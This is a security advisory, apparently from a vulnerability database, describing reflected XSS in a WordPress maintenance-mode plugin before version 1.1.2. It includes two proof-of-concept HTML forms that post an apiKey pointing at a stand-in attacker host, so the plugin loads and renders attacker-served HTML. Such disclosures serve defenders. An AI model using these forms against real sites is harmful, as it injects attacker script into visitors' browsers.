Under Construction, Coming Soon & Maintenance Mode < 1.1.2 – Reflected Cross-Site Scripting (XSS)

Description

The includes/mc-get_lists.php file decoded JSON data fetched from the URL provided and then displayed the HTML from the response without any HTML escaping, leading to a reflected cross-site scripting issue where the payload is on a different server (controlled by the attacker for example).

The issue is exploitable via direct access to the affected file, and ucmm_mc_api AJAX call (available to both authenticated and unauthenticated users).

Proof of Concept

Via the ucmm_mc_api AJAX action, accessible to both authenticated and unauthenticated users:

<form method="post" action="https://example.com/wp-admin/admin-ajax.php">
<input type="hidden" name="action" value="ucmm_mc_api" />
<input type="text" name="apiKey" value="-hacker.server/test.json?dummy=" />
<input type="submit" value="Submit!" />
</form>


Via direct access:

<form method="post" action="https://example.com/wp-content/plugins/under-construction-maintenance-mode/includes/mc-get_lists.php">
<input type="text" name="apiKey" value="-hacker.server/test.json?dummy=" />
<input type="submit" value="Submit!" />
</form>